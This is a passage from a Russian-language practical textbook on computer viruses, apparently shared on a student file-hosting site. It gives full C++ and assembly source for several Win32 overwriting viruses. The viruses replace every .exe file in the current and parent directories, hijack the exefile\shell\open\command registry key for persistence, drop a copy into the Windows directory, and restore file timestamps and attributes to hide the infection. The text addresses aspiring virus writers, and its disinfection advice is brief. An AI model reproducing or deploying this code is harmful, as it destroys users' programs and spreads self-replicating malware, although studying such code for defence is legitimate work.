Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Технологии борьбы с компьютерными вирусами. Практическое пособие

.pdf
Скачиваний:
0
Добавлен:
15.08.2026
Размер:
1 Мб
Скачать

Windows вирусы

211

 

 

Выше был представлен довольно тривиальный

вариант резидентности,

и подробно его описывать не будем.

 

Теперь реализуем аналогичный вирус, но на Ассемблере. Это будет несколько сложнее, так как Ассемблер это все-таки язык низкого уровня.

Рассмотрим листинг:

;----------------------------------------------

.386

.model flat

;Далее идет список импортируемых функций

 

extrn

ExitProcess:PROC

 

 

extrn

FindFirstFileA:PROC

 

 

extrn

CopyFileA:PROC

 

 

extrn

GetCommandLineA:PROC

 

 

extrn

FindNextFileA:Proc

 

 

extrn

lstrcpyA:PROC

 

 

extrn

lstrcatA:PROC

 

 

extrn

FindClose:PROC

 

 

extrn

GetWindowsDirectoryA:PROC

 

 

extrn

RegOpenKeyA:PROC

 

 

extrn

RegCloseKey:PROC

 

 

extrn

RegSetValueA:PROC

 

 

.data

 

 

; Область данных

 

rHnd

Dd

?

; Хэндл реестра

 

EXE_file

DB

'*.exe',0

; Маска поиска файлов

 

find_file

db

313 dup(?)

; Переменная для результатов поиска

host_name

db

100 dup(?)

; Переменная для имени вирусного файла

cmd_line

db

100 dup(?)

; Переменная для командной строки

len:

 

 

 

 

win_dir

db

200 dup(?)

; Переменная для имени Windows директории

dropper

db

"\supa.exe",0

; Имя файла для помещения в директорию Windows

dat1

db

" %1",0

; используется при получении нового ключа

dat_size

equ

$-len-1

; Размер всех данных, начиная с метки len, но

 

 

 

; без одного байта

 

Find_data_name equ

2ch

; Смещение на имя файла в структуре поиска

Fhandle

dd

?

; Хэндл поиска

 

param

db

100 dup(?)

; Параметр командной строки

SubKey

db

'exefile\shell\open\command',0

; Ключ реестра

msg1

db

'[ WIN32 OVERWRITER VIRUS -=w32.grange=- ]' ; Имя вируса

.code

 

 

; Начало исполнимого кода

start:

 

 

 

 

 

call Work_command

; Вызов функции резидентности

;----------------------------------------------

 

;Функция FindFirstFileA(LPSTR lpszSearchFile, LPWIN32_FIND_DATA lpffd)

;Возвращает хэндл поиска

push

OFFSET

find_file

;

Кладем в стек

смещение на

find_file

push

OFFSET

EXE_file

;

Кладем в стек

смещение на

маску

поиска

call

FindFirstFileA

;

Вызываем функцию FindFirstFileA

 

212

 

Windows вирусы

 

 

 

cmp

EAX, -1

; Если нет ни одного нужного нам файла

je

End_it

; То идем на выход

 

 

; Иначе

mov

[Fhandle],eax

; В переменной Fhandle сохраняем хэндл поиска

;----------------------------------------------

 

 

infect:

 

 

 

 

; Функции CopyFileA говорим о том, что будем

push

0

; При копировании файл перезаписывать

push

offset find_file + Find_data_name ; Куда копируем

push

offset host_name

; Откуда копируем

call

CopyFileA

; Вызов функции копирования

Call

Fnext

; Вызываем процедуру поиска следующего файла

cmp

eax,0

; Если eax равен 0, то файлов больше нет

jne

infect

; И мы идем на выход

End_it:

 

 

push

offset [Fhandle]

; Кладем в стек хэндл поиска

call

FindClose

; И вызываем функцию закрытия поиска

exit:

 

 

push

0

; Кладем в стек 0

call

ExitProcess

; И вызываем функцию завершения программы

;----------------------------------------------

 

 

Fnext:

 

; Процедура поиска следующего файла

;bool FindNextFileA( handle, pointer find_file)

;Возвращает 0, если файлов больше нет, и 1 в обратном случае

push

offset find_file

; Кладем в стек смещение на find_file

push

[Fhandle]

; Кладем в стек хэндл

call

FindNextFileA

; Вызываем функцию поиска следующего файла

ret

 

; Возврат из процедуры

;----------------------------------------------

Work_command:

 

; Функция резидентности

call

GetCommandLineA

; Получаем командную строку

push

eax

; Копируем ее в

push

offset cmd_line

; переменную cmd_line

 

 

;

call

lstrcpyA

; Используем стандартную функцию

lea

esi,cmd_line

; Теперь мы должны получить параметр командной

lea

edi,host_name

; строки

test1:

 

 

lodsb

 

; Загружаем байт из командной строки в al

cmp

al,20h

; Проверяем, не пробел ли это?

jne

test1

; Если нет, то переходим к следующему байту

push

esi

; Если да, то сохраняем адрес начала параметра

mov

ecx,esi

; Здесь мы помещаем в переменную host_name

sub

ecx,offset cmd_line

; имя программы, из которой

sub

esi,ecx

; вирус был запущен

Windows вирусы

213

 

 

 

rep

movsb

;

test2:

 

 

lodsb

 

; Загружаем байт из командной строки в al

cmp

al,0h

; Проверяем, конец ли это командной строки

jne

test2

; Если нет, то переходм к следующему байту

pop

ecx

; Восстанавливаем из стека в ecx адрес начала

 

 

; параметра

lea

edi,param

; Параметр будем сохранять в переменной param

sub

esi,ecx

; Отнимем от конца параметра его начало. Таким

 

 

; образом длина парметра будет в esi, а адрес

 

 

; его начала в ecx

xchg

ecx,esi

; Обменяем содержимое регистров и

rep

movsb

; перенесем параметр в подготовленную для него

 

 

; переменную

residency:

 

 

cmp

[param],0

; Проверяем, с параметром была запущена

jne

res_infect

; программа. Если да, то будем заражать

 

 

; параметр

push

100

; Получим имя Windows-директории в переменную

push

offset win_dir

; win_dir

call

GetWindowsDirectoryA

;

push

offset dropper

; Добавим к имени Windows директории

push

offset win_dir

; имя файла, который будет в ней храниться

call

lstrcatA

;

push

1

; Скопируем наш вирус в Windows директорию

push

offset win_dir

; под именем supa.exe

push

offset host_name

;

call

CopyFileA

;

reg:

 

 

push

offset dat1

; Добавим к имени файла

push

offset win_dir

; параметр для реестра %1

call

lstrcatA

;

push

offset rHnd

; Откроем ключ реестра: HKEY_CLASSES_ROOT

push

offset SubKey

; И параметр:

push

80000000h

; exefile\shell\open\command

call

RegOpenKeyA

;

test

eax,eax

; Если ошибка, то на выход

jnz

WeFailed

 

push

offset dat_size

;

push

offset win_dir

; Изменяем значение данного ключа на

push

01h

; нужное нам

push

offset SubKey

;

push

80000000h

;

call

RegSetValueA

;

push

80000000h

; Закрываем ключ реестра

call

RegCloseKey

 

WeFailed:

 

 

ret

 

; Возврат из функции

214

 

Windows вирусы

 

 

 

;----------------------------------------------

 

 

res_infect:

 

; Функция резидентного инфицирования

push

0

;

push

offset param

; Копируем вирус в

push

offset host_name

; параметр

call

CopyFileA

;

jmp

exit

; и переходим к завершению работы

;----------------------------------------------

 

 

end

start

 

;----------------------------------------------

 

 

Описывать функционирование вируса не будем, потому как все изложено в комментариях и даже неопытному разработчику вирусов с этим разобраться не составит труда.

Таким образом, любой из представленных выше вирусов после запуска становится псевдорезидентным, и любая программа, запущенная на этом компьютере, будет перезаписана вирусом. Замечательное свойство этого вида резидентности в том, что перезагрузка не поможет. И, как вы догадались, возможно применение данного типа резидентности на гораздо более сложных вирусах.

Существуют еще варианты псевдорезидентности, но, как и было сказано, данный вариант является одним из самых лучших решений.

Алгоритм лечения данного вируса довольно прост:

1)определить вирусную программу и удалить ее;

2)исправить необходимый ключ в реестре;

3)удалить вирусный файл из системной директории.

Глава 5 Вирусные технологии

По большей части вирусные технологии кардинально не изменились, разве что стали гораздо более изощренными и сложными. Первенство, как и ранее, удерживают такие технологии, как усиление кода, антиэвристика, динамиче- ское шифрование, полиморфизм, но появились и новые возможности. Одной из них является способность вирусов распространяться через Интернет. Но все вирусные технологи, по сути, хоть и остались теми же, но форму они изменили: во-первых, используется 32-битный Ассемблер, во-вторых, почти во всех вирусах под операционные системы семейства Windows используются WIN API функции.

5.1. Ускорение эпидемии и простейшая маскировка

Начнем данную часть повествования с ускорения эпидемии. Если Windows вирус инфицирует одну лишь текущую директорию, то может пройти много лет, прежде чем он инфицирует весь компьютер, на котором расположен. Поэтому мы должны рассмотреть традиционный способ обхода директории — dot_dot.

Windows вирусы

215

 

 

Для обхода директорий мы должны следовать следующему алгоритму:

1)сохранить текущую директорию;

2)инфицировать текущую директорию;

3)перейти в директорию «..»;

4)инфицировать текущую директорию и перейти на шаг 3. Повторять 4 шаг, пока мы не достигли необходимой нам глубины погружения;

5)перейти в сохраненную директорию;

6)завершение работы.

Для реализации данного алгоритма мы должны ознакомиться с несколькими новыми WIN API функциями. Первая функция — это GetCurrentDirectoryA, вторая — SetCurrentDirectoryA. Функция GetCurrentDirectoryA нам понадобится для сохранения текущей директории. В качестве параметров она получает:

1)длину строки в которой будет храниться текущая директория;

2)саму строку в которой будет храниться текущая директория.

Функция SetCurrentDirectoryA необходима для смены текущей директории, и в качестве параметра она получает строку, содержащую имя директории.

Далее нам необходимо, чтобы наш вирус инфицировал все файлы вне зависимости от их атрибутов. Для этого воспользуемся следующим алгоритмом:

1)сохраним текущие атрибуты у инфицируемого файла;

2)снимем все атрибуты с инфицируемого файла;

3)заразим файл;

4)восстановим старые атрибуты.

Для данного алгоритма нам понадобятся две новые функции. Первая — GetFileAttributes — в качестве параметра получает имя файла, а в качесте результата возвращает атрибуты этого файла. Вторая функция — SetFileAttributes — в качестве параметров получает имя файла и атрибуты.

Далее нам необходимо побеспокоиться о времени последнего изменения файла, чтобы пользователь не обнаружил, что его любимый файл, который он себе залил в далеком 1997 году, имеющий атрибуты «только чтение», неожиданно изменил дату своей последней модификации на 2003 год.

Рассмотрим алгоритм:

1) сохраним текущую дату и время у инфицируемого файла;

3)заразим файл;

4)восстановим старые дату и время.

Для успешного функционирования данного алгоритма нам необходимы две функции. Первая функция — это GetFileTime, которая в качестве параметров получает:

1)хэндл файла (открытого для чтения);

2)переменную типа FILETIME;

3)переменную типа FILETIME;

4)переменную типа FILETIME.

Вторая функция — SetFileTime, которая в качестве параметров получает:

1)хэндл файла (открытого для записи);

2)переменную типа FILETIME;

3)переменную типа FILETIME;

4)переменную типа FILETIME.

216

Windows вирусы

 

 

Из этого описания мы видем, что для того чтобы не изменялась дата при инфицировании необходим следующий алгоритм:

1)открыть файл для чтения;

2)получить его время и дату функцией GetFileTime;

3)закрыть файл;

4)заразить файл;

5)открыть файл для записи и восстановить время и дату функцией SetFileTime.

После детального рассмотрения всех возможностей усиления эпидемии и простейшей маскировки инфицирования мы можем написать вирус, который будет использовать все эти возможности. Начнем, как обычно, с C++.

Рассмотрим листинг:

//---------------------------------------------

#include "windows.h"

int main(int argc, char *argv[])

{

 

 

HANDLE find_handle;

// Хэндл поиска

WIN32_FIND_DATA ff;

// Место для результатов поиска

char msg1[50]="[ VIRUS

WIN32 OVERWRITER -=w32.0len'=- ]"; // Название вируса

char buff[100];

//

Место для имени текущей директории

DWORD attr1;

//

Атрибуты файла

double size=52736;

//

Размер вируса

HANDLE fh;

//

Хэндл файла

int glubina=5;

//

Глубина перехода по директориям

FILETIME ft1;

//

 

FILETIME ft2;

// Переменные для сохранения времени и даты

FILETIME ft3;

// последнего изменения файла

GetCurrentDirectory(sizeof(buff),buff); // Сохраняем текущую директорию в buff

n1:

find_handle=FindFirstFileA("*.exe",&ff); // Ищем первый файл

if (find_handle==INVALID_HANDLE_VALUE)goto n2; // Если поиск неудачен, будем идти дальше while (1)

{

if (ff.nFileSizeLow==size)goto nexta; // Сами себя не заражаем

attr1=GetFileAttributes(ff.cFileName); // Получаем атрибуты найденного файла SetFileAttributes(ff.cFileName,128); // Сбрасываем их

fh=CreateFileA(ff.cFileName,GENERIC_READ,FILE_SHARE_READ,0,3,128,0); // Открываем

 

// файл для чтения

GetFileTime(fh,&ft1,&ft2,&ft3);

// Получаем время последнего изменения файла

CloseHandle(fh);

// Закрываем файл

CopyFileA(argv[0],ff.cFileName,0); // Копируем себя на его место

fh=CreateFileA(ff.cFileName,GENERIC_WRITE,FILE_SHARE_WRITE,0,3,128,0);

 

//Открываем файл для записи

SetFileTime(fh,&ft1,&ft2,&ft3);

// Восстанавливаем время последнего изменения

SetFileAttributes(ff.cFileName,attr1); // Восстанавливаем атрибуты

CloseHandle(fh);

// Закрываем файл

Windows вирусы

217

 

 

nexta:

if (!FindNextFileA(find_handle,&ff)) break; // Если файлы кончились, то на выход

}

n2:

FindClose(find_handle); // Закрываем поиск,

if (glubina==0)

// åñëè

мы поднялись на необходимый нам уровень

{

 

 

SetCurrentDirectoryA(buff); //

Восстанавливаем директорию,

exit(0);

//

завершаем работу

}

 

 

glubina--;

// Уменьшаем глубину

SetCurrentDirectory(".."); // Меняем директорию

goto n1;

// И переходим к ее инфицированию

}

//---------------------------------------------

Данный вирус инфицирует все файлы в текущей директории с любыми атрибутами и не изменяет дату и время. Также данный вирус поднимается из текущей директории пять раз и инфицирует все директории, в каких он оказывается.

Переходим к аналогичной реализации вируса на Ассемблере. Рассмотрим листинг:

;----------------------------------------------

.386

.model flat

;Далее идут импортируемые функции

 

extrn

ExitProcess:PROC

 

extrn

FindFirstFileA:PROC

 

extrn

CopyFileA:PROC

 

extrn

GetCommandLineA:PROC

 

extrn

FindNextFileA:Proc

 

extrn

lstrcpyA:PROC

 

extrn

FindClose:PROC

 

extrn

GetCurrentDirectoryA:PROC

 

extrn

SetCurrentDirectoryA:PROC

 

extrn

GetFileAttributesA:PROC

 

extrn

SetFileAttributesA:PROC

 

extrn

GetFileTime:PROC

 

extrn

SetFileTime:PROC

 

extrn

CreateFileA:PROC

 

extrn

CloseHandle:PROC

 

.data

 

 

;Область данных

len1:

 

 

 

buffer1

db

100 dup(?)

; Место для имени текущей

 

 

 

; директории

size1

equ

$-len1

; Длина этой переменной

dot_dot

db

'..',0

; Данная переменная необходима

ftime1

dd

2 dup(?)

; для обхода папок

ftime2

dd

2 dup(?)

; Переменные для хранения времени

218

 

 

Windows вирусы

 

 

 

 

ftime3

dd

2 dup(?)

; последнего изменения файла

attr1

dd

?

; Переменная для атрибутов файла

fHnd

dd

?

; Хэндл файла

EXE_file

DB

'*.exe',0

; Маска поиска

find_file

db

313 dup(?)

; Переменная для хранения

 

 

 

; результатов поиска

host_name

db

100 dup(?)

; Переменная для хранения

 

 

 

; командной строки

Find_data_name

equ

2ch

; Смещение на имя файла

Fhandle

dd

?

; Хэндл поиска

msg1

db

'[ WIN32 OVERWRITER VIRUS -=w32.kernel_x=- ]' ; Имя вируса

glubina

db

3

; Глубина подъема из текущей

 

 

 

; директории

.code

 

 

; Начало исполнимого кода

;----------------------------------------------

 

start:

 

 

 

Call

 

GetCommandLineA

; Получаем командную строку

 

 

 

;

push

 

eax

; Копируем командную строку в

 

 

 

; переменную

push

offset host_name

; host_name

 

 

 

;

call

 

lstrcpyA

;

push

 

offset buffer1

;

push

 

size1

; Сохраняем имя директории,

call

 

GetCurrentDirectoryA

; из которой мы cтартовали

;----------------------------------------------

 

try2:

 

 

 

push

OFFSET find_file

; Ищем первый файл в текущей

 

 

 

; директории

push

OFFSET EXE_file

;

call

 

FindFirstFileA

;

cmp

 

EAX, -1

; Если файл не найден, переходим

 

 

 

; дальше

je

 

konec

; на метку konec

mov

 

[Fhandle],eax

; Сохраняем хэндл поиска

;----------------------------------------------

 

infect:

 

 

 

mov

eax,dword ptr [find_file+20h]

; Не заражаем файлы размером в

cmp

 

eax,1000h

; 4096 áàéò

je

 

dalshe

;

push

offset find_file + Find_data_name

; Получаем атрибуты найденного

call

 

GetFileAttributesA

; файла

mov

attr1,eax

; Сохраняем их

push

80h

; Сбрасываем атрибуты

push

offset find_file + Find_data_name

; найденного файла

call

 

SetFileAttributesA

;

Windows вирусы

219

 

 

 

push

0

;

push

00000080h

;

push

3

;

push

0

; Открываем найденный

push

00000001h OR 00000002h

; файл для чтения/записи

push

40000000h OR 80000000h

;

push

offset find_file+Find_data_name

;

call

CreateFileA

;

mov

fHnd,eax

; Сохраняем хэндл файла

push

offset ftime1

;

push

offset ftime2

; Получаем время последнего

push

offset ftime3

; изменения файла и сохраняем его

push

eax

;

call

GetFileTime

;

push

0

;

push

offset find_file + Find_data_name

; Заражаем найденный файл

push

offset host_name

;

call

CopyFileA

;

push

offset ftime1

; Восстанавливаем

push

offset ftime2

; сохраненные время и дату файла

push

offset ftime3

;

push

fHnd

;

call

SetFileTime

;

push

fHnd

; Закрываем файл

call

CloseHandle

;

push

attr1

; Восстанавливаем старые атрибуты

push

offset find_file + Find_data_name ; уже зараженного файла

call

SetFileAttributesA

;

dalshe:

 

 

Call

Fnext

; Переходим к поиску следующего

 

 

; файла

cmp

eax,0

; Если файлы не кончились,

jne

infect

; продолжаем их заражать

End_it:

 

 

push

Fhandle

; Закрываем поиск

call

FindClose

;

konec:

 

 

push

offset dot_dot

; Поднимаемся на одну директорию

call

SetCurrentDirectoryA

; âûøå

dec

glubina

; Уменьшаем счетчик погружения

cmp

glubina,0

; Если мы вышли на заданную

jne

try2

; глубину,

push

offset buffer1

; восстанавливаем директорию

call

SetCurrentDirectoryA

;

push

0

; Завершаем работу

call

ExitProcess

;

220

 

Windows вирусы

 

 

 

;----------------------------------------------

 

 

Fnext:

 

; Процедура поиска следующего

 

 

; файла

push

offset find_file

; Ищем следующую

push

[Fhandle]

; жертву

call

FindNextFileA

;

ret

 

; Возврат из процедуры

;----------------------------------------------

 

 

end

start

 

;----------------------------------------------

 

 

Данный вирус аналогичен тому, что был рассмотрен ранее на языке C++. Выполняет те же функции и работает по практически идентичному алгоритму.

Нами были рассмотрены традиционные методы усиления эпидемии, но использование операционных систем семейства Windows добавило нам некоторые новые возможности усиления эпидемии.

В WIN API включены такие функции:

1)GetSystemDirectory — данная функция вызывается, как и GetCurrentDirectory, но в отличие от GetCurrentDirectory она возвращает системную директорию Windows;

2)GetWindowsDirectory — данная функция вызывается, как и GetCurrentDirectory, но в отличие от GetCurrentDirectory она возвращает директорию Windows.

Данные WIN API функции позволяют нам получить имя директорий Windows и, следовательно, инфицировать их.

Рассмотрим простейший вариант перехода в Windows-директорию:

//---------------------------------------------

GetWindowsDirectory(sizeof(buff),buff);

SetCurrentDirectoryA(buff);

// Здесь должно быть инфицирование системных файлов //---------------------------------------------

Не сложнее этот кусок кода реализуется и на Ассемблере:

;----------------------------------------------

 

 

push

offset buffer1

;

push

size1

; Сохраняем имя Windows директории

call

GetWindowsDirectory

;

push

offset buffer1

; Переходим в Windows директорию

call

SetCurrentDirectoryA ;

;----------------------------------------------

Ну вот мы и разобрали основные аспекты усиления эпидемии в Windows-системах, а также простейшую маскировку при инфицировании.

Лечение рассмотренного выше вируса ничем не отличается, разве что необходимо анализировать больше файлов.

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]